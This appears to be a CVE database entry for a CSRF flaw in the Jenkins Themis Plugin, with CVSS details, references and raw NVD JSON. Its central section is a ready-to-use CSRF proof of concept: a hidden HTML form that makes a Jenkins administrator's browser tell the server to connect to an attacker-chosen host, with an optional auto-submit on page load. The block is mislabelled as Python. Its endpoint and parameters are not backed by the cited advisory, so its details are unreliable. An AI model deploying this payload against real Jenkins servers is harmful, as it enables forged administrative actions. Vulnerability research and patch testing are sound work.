CVE-2025-64136

Description

A cross-site request forgery (CSRF) vulnerability in Jenkins Themis Plugin 1.4.1 and earlier allows attackers to connect to an attacker-specified HTTP server.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:jenkins:themis:*:*:*:*:*:jenkins:*:* - VULNERABLE

Jenkins Themis Plugin <= 1.4.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-64136 CSRF PoC for Jenkins Themis Plugin -->
<!-- This PoC demonstrates the CSRF vulnerability in Jenkins Themis Plugin <= 1.4.1 -->
<!-- Attacker can trick Jenkins admin to connect to attacker-controlled HTTP server -->
<!DOCTYPE html>
<html>
<head>
    <title>Jenkins Themis Plugin CSRF PoC</title>
    <style>
        body { font-family: Arial, sans-serif; padding: 20px; }
        .malicious-form { display: none; }
        .info { background: #f0f0f0; padding: 10px; margin: 10px 0; }
    </style>
</head>
<body>
    <h2>Jenkins Themis Plugin CSRF Vulnerability PoC</h2>
    <div class="info">
        <p><strong>CVE:</strong> CVE-2025-64136</p>
        <p><strong>Affected:</strong> Jenkins Themis Plugin <= 1.4.1</p>
        <p><strong>Impact:</strong> Attackers can force Jenkins to connect to attacker-specified HTTP server</p>
    </div>
    
    <p>Click the button below to trigger the CSRF attack:</p>
    <button onclick="document.forms[0].submit()">Submit Request</button>
    
    <!-- 
        This form simulates the CSRF attack.
        Replace JENKINS_URL with the target Jenkins server URL.
        Replace ATTACKER_SERVER with your controlled HTTP server.
    -->
    <form class="malicious-form" 
          action="JENKINS_URL/plugin/themis/connect" 
          method="POST" 
          name="csrf_form">
        <!-- CSRF vulnerable parameter - server URL controlled by attacker -->
        <input type="hidden" name="serverUrl" value="ATTACKER_SERVER">
        <input type="hidden" name="port" value="8080">
        <input type="hidden" name="path" value="/test">
    </form>
    
    <script>
        // Auto-submit on page load (optional, remove for manual testing)
        // window.onload = function() { document.forms[0].submit(); };
        
        console.log('CSRF PoC loaded. Submit the form to trigger the vulnerability.');
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64136
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64136
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64136/
[4] VulDB https://vuldb.com/cve/CVE-2025-64136
[5] https://www.jenkins.io/security/advisory/2025-10-29/#SECURITY-3517
[6] http://www.openwall.com/lists/oss-security/2025/10/29/2

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-64136", "sourceIdentifier": "[email protected]", "published": "2025-10-29T14:15:57.930", "lastModified": "2025-11-04T22:16:39.983", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A cross-site request forgery (CSRF) vulnerability in Jenkins Themis Plugin 1.4.1 and earlier allows attackers to connect to an attacker-specified HTTP server."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jenkins:themis:*:*:*:*:*:jenkins:*:*", "versionEndIncluding": "1.4.1", "matchCriteriaId": "68468B62-E7D1-4527-A7BB-D0E6254D5DAE"}]}]}], "references": [{"url": "https://www.jenkins.io/security/advisory/2025-10-29/#SECURITY-3517", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/29/2", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}